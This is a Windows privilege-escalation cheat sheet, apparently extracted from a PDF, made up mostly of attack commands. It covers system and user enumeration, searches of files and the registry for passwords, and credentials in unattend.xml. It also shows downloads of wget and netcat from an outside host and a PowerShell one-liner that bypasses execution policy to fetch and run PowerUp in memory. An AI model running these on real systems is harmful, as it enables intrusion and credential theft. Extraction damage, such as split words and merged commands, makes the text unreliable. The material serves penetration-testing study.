Windows - Privilege Escalation

Almost all of the following commands are from The Open Source Windows Privilege Escalation Cheat Sheet (https://addaxsoft.com/wpecs/)

Windows Version and Configuration

Systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Ar	chitecture
>_	wmic os get osarchitecture echo %PROCESSOR_ARCHITECTURE%
Lis	st all env variables
>_	set
Lis	st all drives
>_	wmic logicaldisk get caption fsutil fsinfo drives
U	ser Enumeration
Ge	et current username
>_	echo % USERNAME% whoami
Lis	st all users
_	net user whoami /all
Lis	st logon requirements; useable for bruteforcing
>_	net accounts
Ge	et details about a user (i.e. administrator, admin, current user)
	net user administrator net user admin

net user %USERNAME%

List all local groups

□ net localgroup

Get details about a group (i.e. administrators)

net localgroup administrators

Network Enumeration

List all network interfaces

ipconfig /all

List current routing table

route print

List the ARP table

□ arp -A

List all current connections

▶ netstat -ano

List firware state and current configuration

netsh advfirewall firewall dump

List all network shares

p→ net share

Looting for passwords

Search for file contents**

□ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt

Search for a file with a certain filename

```
p= dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

Search the registry for key names

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
```

Read a value of a certain sub key

REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList

Password in unattend.xml

Location of the unattend.xml files

- C:\unattend.xml
 - C:\Windows\Panther\Unattend.xml
 - C:\Windows\Panther\Unattend\Unattend.xml
 - C:\Windows\system32\sysprep.inf
 - C:\Windows\system32\sysprep\sysprep.xml

Example content

```
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" 1</pre>
   anguage="neutral" versionScope="nonSxS" processorArchitecture="amd64">
       <AutoLogon>
        <Password>*SENSITIVE*DATA*DELETED*</Password>
        <Enabled>true</Enabled>
        <Username>Administrateur</Username>
       </AutoLogon>
       <UserAccounts>
        <LocalAccounts>
         <LocalAccount wcm:action="add">
          <Password>*SENSITIVE*DATA*DELETED*</Password>
          <Group>administrators;users</Group>
          <Name>Administrateur</Name>
         </LocalAccount>
        </LocalAccounts>
       </UserAccounts>
```

The Metasploit module post/windows/gather/enum_unattend looks for these files.

Processes Enum

What processes are running?

tasklist /v
Which processes are running as "system"
tasklist /v /fi "username eq system"
Do you have powershell magic?

REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVers ion

Uploading / Downloading files

a wget using powershell

powershell -Noninteractive -NoProfile -command "wget https://addaxsoft.com/download
 /wpecs/wget.exe -UseBasicParsing -OutFile %TEMP%\wget.exe"

wget using bitsadmin (when powershell is not present)

cmd /c "bitsadmin /transfer myjob /download /priority high https://addaxsoft.com/do wnload/wpecs/wget.exe %TEMP%\wget.exe"

now you have wget.exe that can be executed from %TEMP%wget for example I will use it here to download netcat

%TEMP%\wget https://addaxsoft.com/download/wpecs/nc.exe

Spot the weak service using PowerSploit's PowerUP

powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadStri ng('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks

Thanks to

- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte (https://addaxsoft.com/wpecs/)
- Basic Linux Privilege Escalation (https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- Windows Privilege Escalation Fundamentals (http://www.fuzzysecurity.com/tutorials/16.html)
- TOP-10 ways to boost your privileges in Windows systems hackmag (https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
- The SYSTEM Challenge (https://decoder.cloud/2017/02/21/the-system-challenge/)